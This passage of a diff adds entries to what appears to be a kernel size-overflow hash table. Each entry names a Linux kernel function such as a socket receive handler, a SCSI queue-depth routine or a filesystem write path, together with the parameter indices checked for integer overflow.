++_002551_hash l2cap_send_cmd 4 14548 _002551_hash NULL
++_002552_hash l2cap_sock_sendmsg 4 63427 _002552_hash NULL
++_002553_hash l2tp_ip6_recvmsg 4 62874 _002553_hash NULL
++_002554_hash l2tp_ip6_sendmsg 4 7461 _002554_hash NULL
++_002555_hash l2tp_ip_recvmsg 4 22681 _002555_hash NULL
++_002556_hash lbs_bcnmiss_read 3 8678 _002556_hash NULL
++_002557_hash lbs_failcount_read 3 31063 _002557_hash NULL
++_002558_hash lbs_highrssi_read 3 64089 _002558_hash NULL
++_002559_hash lbs_highsnr_read 3 5931 _002559_hash NULL
++_002560_hash lbs_lowrssi_read 3 32242 _002560_hash NULL
++_002561_hash lbs_lowsnr_read 3 29571 _002561_hash NULL
++_002563_hash llc_ui_recvmsg 4 3826 _002563_hash NULL
++_002564_hash lowpan_fragment_xmit 3-4 22095 _002564_hash NULL
++_002566_hash lpfc_change_queue_depth 2 25905 _002566_hash NULL
++_002568_hash macvtap_do_read 4 36555 _002568_hash &_002050_hash
++_002569_hash mangle_sdp_packet 9 36279 _002569_hash NULL
++_002570_hash map_addr 6 4666 _002570_hash NULL
++_002571_hash mcs_unwrap_fir 3 25733 _002571_hash NULL
++_002572_hash mcs_unwrap_mir 3 9455 _002572_hash NULL
++_002573_hash megaraid_change_queue_depth 2 64815 _002573_hash NULL
++_002574_hash megasas_change_queue_depth 2 32747 _002574_hash NULL
++_002575_hash mld_newpack 2 50950 _002575_hash NULL
++_002576_hash mptscsih_change_queue_depth 2 26036 _002576_hash NULL
++_002577_hash named_distribute 4 48544 _002577_hash NULL
++_002578_hash NCR_700_change_queue_depth 2 31742 _002578_hash NULL
++_002579_hash netlink_recvmsg 4 61600 _002579_hash NULL
++_002580_hash nfc_alloc_send_skb 4 3167 _002580_hash NULL
++_002581_hash nf_nat_ftp 5 47948 _002581_hash NULL
++_002582_hash nfsctl_transaction_read 3 48250 _002582_hash NULL
++_002583_hash nfsd_read 5 19568 _002583_hash NULL
++_002584_hash nfsd_read_file 6 62241 _002584_hash NULL
++_002585_hash nfsd_write 6 54809 _002585_hash NULL
++_002586_hash nfs_map_group_to_gid 3 15892 _002586_hash NULL
++_002587_hash nfs_map_name_to_uid 3 51132 _002587_hash NULL
++_002588_hash nr_recvmsg 4 12649 _002588_hash NULL
++_002589_hash ntfs_rl_append 2-4 6037 _002589_hash NULL
++_002591_hash ntfs_rl_insert 2-4 4931 _002591_hash NULL
++_002593_hash ntfs_rl_replace 2-4 14136 _002593_hash NULL
++_002595_hash ntfs_rl_split 2-4 52328 _002595_hash NULL
++_002597_hash osd_req_list_collection_objects 5 36664 _002597_hash NULL
++_002598_hash osd_req_list_partition_objects 5 56464 _002598_hash NULL
++_002599_hash osd_req_read_sg 5 47905 _002599_hash NULL
++_002600_hash osd_req_write_sg 5 50908 _002600_hash NULL
++_002602_hash p54_download_eeprom 4 43842 _002602_hash NULL
++_002604_hash packet_recv_error 3 16669 _002604_hash NULL
++_002605_hash packet_recvmsg 4 47700 _002605_hash NULL
++_002606_hash pep_recvmsg 4 19402 _002606_hash NULL
++_002607_hash pfkey_recvmsg 4 53604 _002607_hash NULL
++_002608_hash ping_recvmsg 4 25597 _002608_hash NULL
++_002609_hash pmcraid_change_queue_depth 2 9116 _002609_hash NULL
++_002610_hash pn_recvmsg 4 30887 _002610_hash NULL
++_002611_hash pointer_size_read 3 51863 _002611_hash NULL
++_002612_hash power_read 3 15939 _002612_hash NULL
++_002613_hash pppoe_recvmsg 4 15073 _002613_hash NULL
++_002614_hash pppol2tp_recvmsg 4 57742 _002993_hash NULL nohasharray
++_002615_hash ppp_tx_cp 5 62044 _002615_hash NULL
++_002616_hash prism2_send_mgmt 4 62605 _002616_hash &_002119_hash
++_002617_hash prism2_sta_send_mgmt 5 43916 _002617_hash NULL
++_002618_hash prison_create 1 43623 _002618_hash NULL
++_002619_hash qla2x00_adjust_sdev_qdepth_up 2 20097 _002619_hash NULL
++_002620_hash qla2x00_change_queue_depth 2 24742 _002620_hash NULL
++_002621_hash _queue_data 4 54983 _002621_hash NULL
++_002622_hash raw_recvmsg 4 52529 _002622_hash NULL
++_002623_hash rawsock_recvmsg 4 12144 _002623_hash NULL
++_002624_hash rawv6_recvmsg 4 30265 _002624_hash NULL
++_002625_hash rds_tcp_data_recv 3 53476 _002625_hash NULL
++_002626_hash reada_add_block 2 54247 _002626_hash NULL
++_002627_hash readahead_tree_block 3 36285 _002627_hash NULL
++_002628_hash reada_tree_block_flagged 3 18402 _002628_hash NULL
++_002629_hash read_dma 3 55086 _002629_hash NULL
++_002630_hash read_fifo 3 826 _002630_hash NULL
++_002631_hash read_tree_block 3 841 _002631_hash NULL
++_002632_hash receive_copy 3 12216 _002632_hash NULL
++_002633_hash recover_peb 6-7 29238 _002633_hash NULL
++_002635_hash recv_msg 4 48709 _002635_hash NULL
++_002636_hash recv_stream 4 30138 _002636_hash NULL
++_002637_hash _req_append_segment 2 41031 _002637_hash NULL
++_002638_hash request_key_async 4 6990 _002638_hash NULL
++_002639_hash request_key_async_with_auxdata 4 46624 _002639_hash NULL
++_002640_hash request_key_with_auxdata 4 24515 _002640_hash NULL
++_002641_hash rose_recvmsg 4 2368 _002641_hash &_001788_hash
++_002642_hash rtl8169_try_rx_copy 3 705 _002642_hash NULL
++_002643_hash _rtl92s_firmware_downloadcode 3 14021 _002643_hash NULL
++_002644_hash rx_data 4 60442 _002644_hash NULL
++_002645_hash rxrpc_recvmsg 4 26233 _002645_hash NULL
++_002646_hash sas_change_queue_depth 2 18555 _002646_hash NULL
++_002647_hash scsi_activate_tcq 2 42640 _002647_hash NULL
++_002648_hash scsi_deactivate_tcq 2 47086 _002648_hash NULL
++_002649_hash scsi_execute 5 33596 _002649_hash NULL
++_002650_hash _scsih_adjust_queue_depth 2 1083 _002650_hash NULL
++_002651_hash scsi_init_shared_tag_map 2 59812 _002651_hash NULL
++_002652_hash scsi_track_queue_full 2 44239 _002652_hash NULL
++_002653_hash sctp_abort_pkt_new 5 55218 _002653_hash NULL
++_002654_hash sctp_make_abort_violation 4 27959 _002654_hash NULL
++_002655_hash sctp_make_op_error 5-6 7057 _002655_hash NULL
++_002657_hash sctp_recvmsg 4 23265 _002657_hash NULL
++_002658_hash send_stream 4 3397 _002658_hash NULL
++_002659_hash sis190_try_rx_copy 3 57069 _002659_hash NULL
++_002664_hash skb_copy_and_csum_datagram_iovec 2 24466 _002664_hash NULL
++_002666_hash skge_rx_get 3 40598 _002666_hash NULL
++_002667_hash smp_send_cmd 3 512 _002667_hash NULL
++_002668_hash snd_gf1_mem_proc_dump 5 16926 _003499_hash NULL nohasharray
++_002669_hash sta_dev_read 3 14782 _002669_hash NULL
++_002670_hash sta_inactive_ms_read 3 25690 _002670_hash NULL
++_002671_hash sta_last_signal_read 3 31818 _002671_hash NULL
++_002672_hash stats_dot11ACKFailureCount_read 3 45558 _002672_hash NULL
++_002673_hash stats_dot11FCSErrorCount_read 3 28154 _002673_hash NULL
++_002674_hash stats_dot11RTSFailureCount_read 3 43948 _002674_hash NULL
++_002675_hash stats_dot11RTSSuccessCount_read 3 33065 _002675_hash NULL
++_002676_hash storvsc_connect_to_vsp 2 22 _002676_hash NULL
++_002677_hash sys_msgrcv 3 959 _002677_hash NULL
++_002678_hash sys_syslog 3 10746 _002678_hash NULL
++_002679_hash tcf_csum_ipv4_icmp 3 9258 _002679_hash NULL
++_002680_hash tcf_csum_ipv4_igmp 3 60446 _002680_hash NULL
++_002681_hash tcf_csum_ipv4_tcp 4 39713 _002681_hash NULL
++_002682_hash tcf_csum_ipv4_udp 4 30777 _002682_hash NULL
++_002683_hash tcf_csum_ipv6_icmp 4 11738 _002683_hash NULL
++_002684_hash tcf_csum_ipv6_tcp 4 54877 _002684_hash NULL
++_002685_hash tcf_csum_ipv6_udp 4 25241 _002685_hash NULL
++_002686_hash tcm_loop_change_queue_depth 2 42454 _002686_hash NULL
++_002687_hash tcp_copy_to_iovec 3 28344 _002687_hash NULL
++_002688_hash tcp_mark_head_lost 2 35895 _002688_hash NULL
++_002689_hash tcp_match_skb_to_sack 4 23568 _002689_hash NULL
++_002690_hash timeout_read 3 47915 _002690_hash NULL
++_002691_hash tipc_multicast 5 49144 _002691_hash NULL
++_002692_hash tipc_port_recv_sections 4 42890 _002692_hash NULL
++_002693_hash tipc_port_reject_sections 5 55229 _002693_hash NULL
++_002694_hash total_ps_buffered_read 3 16365 _002694_hash NULL
++_002695_hash tso_fragment 3 29050 _002695_hash NULL
++_002696_hash tty_insert_flip_string 3 34042 _002696_hash NULL
++_002698_hash tun_put_user 4 59849 _002698_hash NULL
++_002699_hash twa_change_queue_depth 2 48808 _002699_hash NULL
++_002700_hash tw_change_queue_depth 2 11116 _002700_hash NULL
++_002701_hash twl_change_queue_depth 2 41342 _002701_hash NULL
++_002702_hash ubi_eba_atomic_leb_change 5 60379 _002702_hash NULL
++_002703_hash ubi_eba_write_leb 5-6 36029 _002703_hash NULL
++_002705_hash ubi_eba_write_leb_st 5 44343 _002705_hash NULL
++_002706_hash udp_recvmsg 4 42558 _002706_hash NULL
++_002707_hash udpv6_recvmsg 4 9813 _002707_hash &_002506_hash
++_002708_hash udpv6_sendmsg 4 22316 _002708_hash NULL
++_002709_hash ulong_read_file 3 42304 _002709_hash &_000522_hash
++_002710_hash unix_dgram_recvmsg 4 14952 _002710_hash NULL
++_002711_hash user_power_read 3 39414 _002711_hash NULL
++_002712_hash v9fs_direct_read 3 45546 _002712_hash NULL
++_002713_hash v9fs_file_readn 4 36353 _002713_hash &_001799_hash
++_002714_hash vcc_recvmsg 4 37198 _002714_hash NULL
++_002715_hash velocity_rx_copy 2 34583 _002715_hash NULL
++_002716_hash W6692_empty_Bfifo 2 47804 _002716_hash NULL
++_002717_hash wep_iv_read 3 54744 _002717_hash NULL
++_002718_hash x25_recvmsg 4 42777 _002718_hash NULL
++_002719_hash xfs_buf_get_map 3 24522 _002719_hash NULL
++_002720_hash xfs_file_aio_write 4 33234 _002720_hash NULL
++_002721_hash xfs_iext_insert 3 18667 _002741_hash NULL nohasharray
++_002722_hash xfs_iext_remove 3 50909 _002722_hash NULL
++_002723_hash xlog_do_recovery_pass 3 21618 _002723_hash NULL
++_002724_hash xlog_find_verify_log_record 2 18870 _002724_hash NULL
++_002725_hash zd_mac_rx 3 38296 _002725_hash NULL
++_002726_hash aircable_process_packet 5 46639 _002726_hash NULL
++_002727_hash ath6kl_wmi_get_new_buf 1 52304 _002727_hash NULL
++_002728_hash batadv_iv_ogm_queue_add 3 46319 _002728_hash NULL
++_002729_hash batadv_receive_client_update_packet 3 41578 _002729_hash NULL
++_002730_hash batadv_receive_server_sync_packet 3 26577 _002730_hash &_000494_hash
++_002731_hash brcmf_alloc_pkt_and_read 2 63116 _002731_hash &_002028_hash
++_002732_hash brcmf_sdcard_recv_buf 6 38179 _002732_hash NULL
++_002733_hash brcmf_sdcard_rwdata 5 65041 _002733_hash NULL
++_002734_hash brcmf_sdcard_send_buf 6 7713 _002734_hash NULL
++_002735_hash brcmf_sdio_forensic_read 3 35311 _002735_hash &_001382_hash
++_002736_hash btrfs_alloc_free_block 3 8986 _002736_hash NULL
++_002737_hash btrfs_free_and_pin_reserved_extent 2 53016 _002737_hash NULL
++_002738_hash btrfs_free_reserved_extent 2 9867 _002738_hash NULL
++_002739_hash carl9170_handle_mpdu 3 11056 _002739_hash NULL
++_002740_hash do_trimming 3 26952 _002740_hash NULL
++_002741_hash edge_tty_recv 4 18667 _002741_hash &_002721_hash
++_002742_hash fwnet_receive_packet 9 50537 _002742_hash NULL
++_002743_hash gigaset_if_receive 3 4861 _002743_hash NULL
++_002744_hash gsm_dlci_data 3 14155 _002744_hash NULL
++_002745_hash handle_rx_packet 3 58993 _002745_hash NULL
++_002746_hash HDLC_irq 2 8709 _002746_hash NULL
++_002747_hash hdlc_rpr_irq 2 10240 _002747_hash NULL
++_002749_hash ifx_spi_insert_flip_string 3 51752 _002749_hash NULL
++_002753_hash ip_nat_sdp_media 8 23386 _002753_hash NULL
++_002754_hash ip_send_unicast_reply 6 38714 _002754_hash NULL
++_002756_hash ipwireless_network_packet_received 4 51277 _002756_hash NULL
++_002757_hash ipwireless_tty_received 3 49154 _002757_hash NULL
++_002758_hash iscsi_iser_recv 4 41948 _002758_hash NULL
++_002759_hash l2cap_bredr_sig_cmd 3 49065 _002759_hash NULL
++_002760_hash l2cap_sock_alloc_skb_cb 2 33532 _002760_hash NULL
++_002761_hash l2cap_sock_recvmsg 4 59886 _002761_hash NULL
++_002762_hash llcp_allocate_pdu 3 19866 _002762_hash NULL
++_002763_hash macvtap_recvmsg 4 63949 _002763_hash NULL
++_002764_hash osd_req_list_dev_partitions 4 60027 _002764_hash NULL
++_002765_hash osd_req_list_partition_collections 5 38223 _002765_hash NULL
++_002766_hash osst_do_scsi 4 44410 _002766_hash NULL
++_002767_hash ping_sendmsg 4 3782 _002767_hash NULL
++_002768_hash ppp_cp_event 6 2965 _002768_hash NULL
++_002769_hash pty_write 3 44757 _002769_hash &_001733_hash
++_002770_hash push_rx 3 28939 _002770_hash NULL
++_002772_hash qla2x00_handle_queue_full 2 24365 _002772_hash NULL
++_002773_hash qla4xxx_change_queue_depth 2 1268 _002773_hash NULL
++_002774_hash rfcomm_sock_recvmsg 4 22227 _002774_hash NULL
++_002775_hash scsi_execute_req 5 42088 _002775_hash NULL
++_002776_hash _scsih_change_queue_depth 2 26230 _002776_hash NULL
++_002777_hash sctp_sf_abort_violation 6 38380 _002777_hash NULL
++_002778_hash send_to_tty 3 45141 _002778_hash NULL
++_002780_hash sky2_receive 2 13407 _002780_hash NULL
++_002781_hash spi_execute 5 28736 _002781_hash NULL
++_002782_hash submit_inquiry 3 42108 _002782_hash NULL
++_002783_hash tcp_dma_try_early_copy 3 4457 _002783_hash NULL
++_002784_hash tcp_sacktag_walk 6 49703 _002784_hash NULL
++_002785_hash tcp_write_xmit 2 64602 _002785_hash NULL
++_002786_hash ti_recv 4 22027 _002786_hash NULL
++_002787_hash tun_do_read 4 50800 _002787_hash NULL
++_002788_hash ubi_leb_change 4 10289 _002788_hash NULL
++_002789_hash ubi_leb_write 4-5 5478 _002789_hash NULL
++_002791_hash udp_sendmsg 4 4492 _002791_hash NULL
++_002792_hash unix_seqpacket_recvmsg 4 23062 _002792_hash &_000477_hash
++_002793_hash v9fs_cached_file_read 3 2514 _002793_hash NULL
++_002794_hash write_leb 5 36957 _002794_hash NULL
++_002795_hash xfs_buf_read_map 3 40226 _002795_hash NULL
++_002796_hash xfs_trans_get_buf_map 4 2927 _002796_hash NULL
++_002797_hash xlog_do_log_recovery 3 17550 _002797_hash NULL
++_002798_hash ath6kl_wmi_add_wow_pattern_cmd 4 12842 _002798_hash NULL
++_002799_hash ath6kl_wmi_beginscan_cmd 8 25462 _002799_hash NULL
++_002800_hash ath6kl_wmi_send_probe_response_cmd 6 31728 _002800_hash NULL
++_002801_hash ath6kl_wmi_set_appie_cmd 5 39266 _002801_hash NULL
++_002802_hash ath6kl_wmi_set_ie_cmd 6 37260 _002802_hash NULL
++_002803_hash ath6kl_wmi_startscan_cmd 8 33674 _002803_hash NULL
++_002804_hash ath6kl_wmi_test_cmd 3 27312 _002804_hash NULL
++_002805_hash brcmf_sdbrcm_membytes 3-5 37324 _002805_hash NULL
++_002807_hash brcmf_sdbrcm_read_control 3 22721 _002807_hash NULL
++_002808_hash brcmf_tx_frame 3 20978 _002808_hash NULL
++_002809_hash __carl9170_rx 3 56784 _002809_hash NULL
++_002810_hash ch_do_scsi 4 31171 _002810_hash NULL
++_002811_hash dbg_leb_change 4 23555 _002811_hash NULL
++_002812_hash dbg_leb_write 4-5 63555 _002812_hash &_000971_hash
++_002814_hash gluebi_write 3 27905 _002814_hash NULL
++_002815_hash hdlc_irq_one 2 3944 _002815_hash NULL
++_002819_hash iser_rcv_completion 2 8048 _002819_hash NULL
++_002820_hash lock_loop 1 61681 _002820_hash NULL
++_002821_hash process_rcvd_data 3 6679 _002821_hash NULL
++_002822_hash brcmf_sdbrcm_bus_txctl 3 42492 _002822_hash NULL
++_002823_hash carl9170_rx 3 13272 _002823_hash NULL
++_002824_hash carl9170_rx_stream 3 1334 _002824_hash NULL
++_002826_hash mpt_lan_receive_post_turbo 2 13592 _002826_hash NULL
++_002827_hash padzero 1 55 _002827_hash &_002251_hash
++_002828_hash scsi_mode_sense 5 16835 _002828_hash NULL
++_002829_hash scsi_vpd_inquiry 4 30040 _002829_hash NULL
++_002830_hash ses_recv_diag 4 47143 _002830_hash &_000679_hash
++_002831_hash ses_send_diag 4 64527 _002831_hash NULL
++_002832_hash tcp_push_one 2 48816 _002832_hash NULL
++_002833_hash __tcp_push_pending_frames 2 48148 _002833_hash NULL
++_002834_hash trim_bitmaps 3 24158 _002834_hash NULL
++_002835_hash tun_recvmsg 4 48463 _002835_hash NULL
++_002836_hash ubifs_leb_change 4 17789 _002836_hash NULL
++_002837_hash ubifs_leb_write 4-5 22679 _002837_hash NULL
++_002839_hash xfs_buf_readahead_map 3 44248 _002839_hash &_000851_hash
++_002840_hash xfs_trans_read_buf_map 5 37487 _002840_hash NULL
++_002841_hash xlog_do_recover 3 59789 _002841_hash NULL
++_002842_hash btrfs_trim_block_group 3 28963 _002842_hash NULL
++_002843_hash do_write_orph_node 2 64343 _002843_hash NULL
++_002844_hash fix_unclean_leb 3 23188 _002844_hash NULL
++_002845_hash fixup_leb 3 43256 _002845_hash NULL
++_002846_hash recover_head 3 17904 _002846_hash NULL
++_002847_hash scsi_get_vpd_page 4 51951 _002847_hash NULL
++_002848_hash sd_do_mode_sense 5 11507 _002848_hash NULL
++_002849_hash tcp_push 3 10680 _002849_hash NULL
++_002850_hash ubifs_wbuf_write_nolock 3 64946 _002850_hash NULL
++_002851_hash ubifs_write_node 3-5 11258 _002851_hash NULL
++_002852_hash ubifs_recover_leb 3 60639 _002852_hash NULL
++_002853_hash write_head 4 30481 _002853_hash NULL
++_002854_hash write_node 4 33121 _002854_hash NULL
++_002855_hash ubifs_recover_log_leb 3 12079 _002855_hash NULL
++_002856_hash replay_log_leb 3 18704 _002856_hash NULL
++_002857_hash alloc_cpu_rmap 1 65363 _002857_hash NULL
++_002858_hash alloc_ebda_hpc 1-2 50046 _002858_hash NULL
++_002860_hash alloc_sched_domains 1 28972 _002860_hash NULL
++_002861_hash amthi_read 4 45831 _002861_hash NULL
++_002862_hash bcm_char_read 3 31750 _002862_hash NULL
++_002863_hash BcmCopySection 5 2035 _002863_hash NULL
++_002864_hash buffer_from_user 3 51826 _002864_hash NULL
++_002865_hash buffer_to_user 3 35439 _002865_hash NULL
++_002866_hash card_send_command 3 40757 _002866_hash NULL
++_002867_hash chd_dec_fetch_cdata 3 50926 _002867_hash NULL
++_002868_hash copy_nodes_to_user 2 63807 _002868_hash NULL
++_002869_hash create_log 2 8225 _002869_hash NULL
++_002870_hash crystalhd_create_dio_pool 2 3427 _002870_hash NULL
++_002871_hash crystalhd_user_data 3 18407 _002871_hash NULL
++_002872_hash do_pages_stat 2 4437 _002872_hash NULL
++_002873_hash do_read_log_to_user 4 3236 _002873_hash NULL
++_002874_hash do_write_log_from_user 3 39362 _002874_hash NULL
++_002875_hash evm_read_key 3 54674 _002875_hash NULL
++_002876_hash evm_write_key 3 27715 _002876_hash NULL
++_002877_hash fir16_create 3 5574 _002877_hash NULL
++_002878_hash get_nodes 3 39012 _002878_hash NULL
++_002879_hash __iio_allocate_kfifo 2-3 55738 _002879_hash NULL
++_002881_hash __iio_allocate_sw_ring_buffer 3 4843 _002881_hash NULL
++_002882_hash iio_debugfs_read_reg 3 60908 _002882_hash NULL
++_002883_hash iio_debugfs_write_reg 3 22742 _002883_hash NULL
++_002884_hash iio_device_alloc 1 41440 _002884_hash NULL
++_002885_hash iio_event_chrdev_read 3 54757 _002885_hash NULL
++_002886_hash iio_read_first_n_kfifo 2 57910 _002886_hash NULL
++_002887_hash iio_read_first_n_sw_rb 2 51911 _002887_hash NULL
++_002888_hash ioapic_setup_resources 1 35255 _002888_hash NULL
++_002889_hash keymap_store 4 45406 _002889_hash NULL
++_002890_hash line6_alloc_sysex_buffer 4 28225 _002890_hash NULL
++_002891_hash line6_dumpreq_initbuf 3 53123 _002891_hash NULL
++_002892_hash line6_midibuf_init 2 52425 _002892_hash NULL
++_002893_hash _malloc 1 54077 _002893_hash NULL
++_002894_hash mei_read 3 6507 _002894_hash NULL
++_002895_hash mei_write 3 4005 _002895_hash NULL
++_002896_hash msg_set 3 51725 _002896_hash NULL
++_002897_hash newpart 6 47485 _002897_hash NULL
++_002898_hash OS_kmalloc 1 36909 _002898_hash NULL
++_002899_hash OS_mem_token_alloc 1 14276 _002899_hash NULL
++_002900_hash packet_came 3 18072 _002900_hash NULL
++_002901_hash pcpu_alloc_bootmem 2 62074 _002901_hash NULL
++_002902_hash pcpu_build_alloc_info 1-3-2 41443 _002902_hash NULL
++_002905_hash pcpu_get_vm_areas 3 50085 _002905_hash NULL
++_002906_hash resource_from_user 3 30341 _002906_hash NULL
++_002907_hash rtsx_read_cfg_seq 3-5 48139 _002907_hash NULL
++_002909_hash rtsx_write_cfg_seq 3-5 27485 _002909_hash NULL
++_002911_hash sca3000_read_data 4 57064 _002911_hash NULL
++_002912_hash sca3000_read_first_n_hw_rb 2 11479 _002912_hash NULL
++_002913_hash send_midi_async 3 57463 _002913_hash NULL
++_002914_hash sep_create_dcb_dmatables_context 6 37551 _002914_hash NULL
++_002915_hash sep_create_dcb_dmatables_context_kernel 6 49728 _002915_hash NULL
++_002916_hash sep_create_msgarea_context 4 33829 _002916_hash NULL
++_002917_hash sep_lli_table_secure_dma 2-3 64042 _002917_hash NULL
++_002919_hash sep_lock_user_pages 2-3 57470 _002919_hash &_002488_hash
++_002921_hash sep_prepare_input_output_dma_table_in_dcb 4-5-2-3 63087 _002921_hash NULL
++_002923_hash sep_read 3 17161 _002923_hash NULL
++_002924_hash TransmitTcb 4 12989 _002924_hash NULL
++_002925_hash ValidateDSDParamsChecksum 3 63654 _002925_hash NULL
++_002926_hash Wb35Reg_BurstWrite 4 62327 _002926_hash NULL
++_002927_hash alloc_irq_cpu_rmap 1 28459 _002927_hash NULL
++_002928_hash InterfaceTransmitPacket 3 42058 _002928_hash NULL
++_002929_hash line6_dumpreq_init 3 34473 _002929_hash NULL
++_002931_hash pcpu_embed_first_chunk 1-3-2 24224 _002931_hash NULL
++_002933_hash pcpu_fc_alloc 2 11818 _002933_hash NULL
++_002934_hash pcpu_page_first_chunk 1 20712 _002934_hash NULL
++_002935_hash pod_alloc_sysex_buffer 3 31651 _002935_hash NULL
++_002936_hash r8712_usbctrl_vendorreq 6 48489 _002936_hash NULL
++_002937_hash r871x_set_wpa_ie 3 7000 _002937_hash NULL
++_002938_hash sep_prepare_input_dma_table 2-3 2009 _002938_hash NULL
++_002940_hash sep_prepare_input_output_dma_table 2-4-3 63429 _002940_hash NULL
++_002943_hash sys_get_mempolicy 3 30379 _002943_hash NULL
++_002944_hash sys_mbind 5 7990 _002944_hash NULL
++_002945_hash sys_migrate_pages 2 39825 _002945_hash NULL
++_002946_hash sys_move_pages 2 42626 _002946_hash NULL
++_002947_hash sys_set_mempolicy 3 32608 _002947_hash NULL
++_002948_hash variax_alloc_sysex_buffer 3 15237 _002948_hash NULL
++_002949_hash vme_user_read 3 55338 _002949_hash NULL
++_002950_hash vme_user_write 3 15587 _002950_hash NULL
++_002954_hash variax_set_raw2 4 32374 _002954_hash NULL
++_002955_hash copy_in_user 3 57502 _002955_hash NULL
++_002956_hash __earlyonly_bootmem_alloc 2 23824 _002956_hash NULL
++_002957_hash rfc4106_set_key 3 54519 _002957_hash NULL
++_002958_hash sparse_early_usemaps_alloc_pgdat_section 2 62304 _002958_hash NULL
++_002959_hash sparse_early_usemaps_alloc_node 4 9269 _002959_hash NULL
++_002960_hash sparse_mem_maps_populate_node 4 12669 _002960_hash &_002242_hash
++_002961_hash vmemmap_alloc_block 1 43245 _002961_hash NULL
++_002962_hash sparse_early_mem_maps_alloc_node 4 36971 _002962_hash NULL
++_002963_hash vmemmap_alloc_block_buf 1 61126 _002963_hash NULL
++_002964_hash alloc_mr 1 45935 _002964_hash NULL
++_002965_hash atomic_counters_read 3 48827 _002965_hash NULL
++_002966_hash atomic_stats_read 3 36228 _002966_hash NULL
++_002967_hash capabilities_read 3 58457 _002967_hash NULL
++_002968_hash compat_core_sys_select 1 65285 _002968_hash NULL
++_002969_hash compat_dccp_setsockopt 5 51263 _002969_hash NULL
++_002970_hash compat_do_arpt_set_ctl 4 12184 _002970_hash NULL
++_002971_hash compat_do_ip6t_set_ctl 4 3184 _002971_hash NULL
++_002972_hash compat_do_ipt_set_ctl 4 58466 _002972_hash &_002078_hash
++_002973_hash compat_filldir 3 32999 _002973_hash NULL
++_002974_hash compat_filldir64 3 35354 _002974_hash NULL
++_002975_hash compat_fillonedir 3 15620 _002975_hash NULL
++_002976_hash compat_ip_setsockopt 5 13870 _003094_hash NULL nohasharray
++_002977_hash compat_ipv6_setsockopt 5 20468 _002977_hash NULL
++_002978_hash compat_mpctl_ioctl 2 45671 _002978_hash NULL
++_002979_hash compat_raw_setsockopt 5 30634 _002979_hash NULL
++_002980_hash compat_rawv6_setsockopt 5 4967 _002980_hash NULL
++_002981_hash compat_rw_copy_check_uvector 3 22001 _003263_hash NULL nohasharray
++_002982_hash compat_sock_setsockopt 5 23 _002982_hash NULL
++_002983_hash compat_sys_get_mempolicy 3 31109 _002983_hash NULL
++_002984_hash compat_sys_kexec_load 2 35674 _002984_hash NULL
++_002985_hash compat_sys_keyctl 4 9639 _002985_hash NULL
++_002986_hash compat_sys_mbind 5 36256 _002986_hash NULL
++_002987_hash compat_sys_migrate_pages 2 3157 _002987_hash NULL
++_002988_hash compat_sys_move_pages 2 5861 _002988_hash NULL
++_002989_hash compat_sys_mq_timedsend 3 31060 _002989_hash NULL
++_002990_hash compat_sys_msgrcv 2 7482 _002990_hash NULL
++_002991_hash compat_sys_msgsnd 2 10738 _002991_hash NULL
++_002992_hash compat_sys_semtimedop 3 3606 _002992_hash NULL
++_002993_hash compat_sys_set_mempolicy 3 57742 _002993_hash &_002614_hash
++_002994_hash __copy_in_user 3 34790 _002994_hash NULL
++_002995_hash dev_counters_read 3 19216 _002995_hash NULL
++_002996_hash dev_names_read 3 38509 _002996_hash NULL
++_002997_hash driver_names_read 3 60399 _002997_hash NULL
++_002998_hash driver_stats_read 3 8944 _002998_hash NULL
++_002999_hash evdev_ioctl_compat 2 13851 _002999_hash NULL
++_003000_hash evtchn_read 3 3569 _003000_hash NULL
++_003001_hash evtchn_write 3 43278 _003001_hash NULL
++_003002_hash fat_compat_ioctl_filldir 3 36328 _003002_hash NULL
++_003003_hash flash_read 3 57843 _003003_hash NULL
++_003004_hash flash_write 3 62354 _003004_hash NULL
++_003005_hash fw_device_op_compat_ioctl 2 42804 _003005_hash NULL
++_003006_hash gather_array 3 56641 _003006_hash NULL
++_003007_hash ghash_async_setkey 3 60001 _003007_hash NULL
++_003008_hash gntdev_alloc_map 2 35145 _003008_hash NULL
++_003009_hash gnttab_map 2 56439 _003009_hash NULL
++_003010_hash gru_alloc_gts 2-3 60056 _003010_hash &_000981_hash
++_003012_hash hiddev_compat_ioctl 2 41255 _003012_hash NULL
++_003013_hash init_cdev 1 8274 _003013_hash NULL
++_003014_hash init_per_cpu 1 17880 _003014_hash NULL
++_003015_hash ipath_create_cq 2 45586 _003015_hash NULL
++_003016_hash ipath_get_base_info 3 7043 _003016_hash NULL
++_003017_hash ipath_init_qp_table 2 25167 _003017_hash NULL
++_003018_hash ipath_resize_cq 2 712 _003018_hash NULL
++_003019_hash joydev_compat_ioctl 2 8765 _003019_hash NULL
++_003020_hash mon_bin_compat_ioctl 3 50234 _003020_hash NULL
++_003021_hash options_write 3 47243 _003021_hash NULL
++_003022_hash portcntrs_1_read 3 47253 _003022_hash NULL
++_003023_hash portcntrs_2_read 3 56586 _003023_hash NULL
++_003024_hash portnames_read 3 41958 _003024_hash NULL
++_003025_hash ptc_proc_write 3 12076 _003025_hash NULL
++_003026_hash put_cmsg_compat 4 35937 _003026_hash NULL
++_003027_hash qib_alloc_devdata 2 51819 _003027_hash NULL
++_003028_hash qib_alloc_fast_reg_page_list 2 10507 _003028_hash NULL
++_003029_hash qib_cdev_init 1 34778 _003029_hash NULL
++_003030_hash qib_create_cq 2 27497 _003030_hash NULL
++_003031_hash qib_diag_write 3 62133 _003031_hash NULL
++_003032_hash qib_get_base_info 3 11369 _003032_hash NULL
++_003033_hash qib_resize_cq 2 53090 _003033_hash NULL
++_003034_hash qsfp_1_read 3 21915 _003034_hash NULL
++_003035_hash qsfp_2_read 3 31491 _003035_hash NULL
++_003036_hash queue_reply 3 22416 _003036_hash NULL
++_003037_hash spidev_compat_ioctl 2 63778 _003037_hash NULL
++_003038_hash split 2 11691 _003038_hash NULL
++_003039_hash stats_read_ul 3 32751 _003039_hash NULL
++_003040_hash sys32_ipc 3 7238 _003040_hash NULL
++_003041_hash sys32_rt_sigpending 2 25814 _003041_hash NULL
++_003042_hash tunables_read 3 36385 _003042_hash NULL
++_003043_hash tunables_write 3 59563 _003043_hash NULL
++_003044_hash xenbus_file_write 3 6282 _003044_hash NULL
++_003045_hash xlbd_reserve_minors 1-2 18365 _003045_hash NULL
++_003047_hash xpc_kmalloc_cacheline_aligned 1 42895 _003047_hash NULL
++_003048_hash xpc_kzalloc_cacheline_aligned 1 65433 _003048_hash NULL
++_003049_hash xsd_read 3 15653 _003049_hash NULL
++_003050_hash compat_do_readv_writev 4 49102 _003050_hash NULL
